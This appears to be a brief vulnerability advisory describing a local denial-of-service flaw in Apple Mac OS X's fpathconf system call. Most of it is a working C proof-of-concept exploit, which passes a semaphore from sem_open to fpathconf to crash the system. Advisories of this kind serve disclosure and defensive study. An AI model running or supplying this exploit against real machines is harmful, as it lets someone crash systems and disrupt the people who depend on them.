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Apple Mac OS X FPathConf System Call Local Denial of Service Vulnerability

The following exploit is sufficient to trigger this issue:

#include <unistd.h>
#include <semaphore.h>

int main() {
fpathconf(sem_open("DaringWussball", O_CREAT, S_IRWXU, 1), 0);
}